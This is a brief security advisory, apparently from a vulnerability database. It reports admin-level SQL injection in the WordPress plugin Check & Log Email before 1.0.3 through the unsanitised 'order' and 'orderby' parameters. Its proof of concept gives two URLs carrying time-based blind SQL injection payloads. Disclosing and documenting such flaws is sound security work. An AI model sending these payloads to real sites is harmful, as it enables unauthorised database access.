Check & Log Email < 1.0.3 - Admin+ SQL Injections

The plugin does not validate and escape the “order” and “orderby” GET parameters before using them in a SQL statement when viewing logs, leading to SQL injections issues

PoC

With the ‘Enable Log’ settings (of the plugin) activated: - https://example.com/wp-admin/admin.php?page=check-email-logs&amp;orderby;=sent_date+AND+(SELECT+4702+FROM (SELECT(SLEEP(5)))xwDN)&order;=DESC - https://example.com/wp-admin/admin.php?page=check-email-logs&amp;orderby;=sent_date&amp;order;=+AND+(SELECT+4702+FROM (SELECT(SLEEP(5)))xwDN)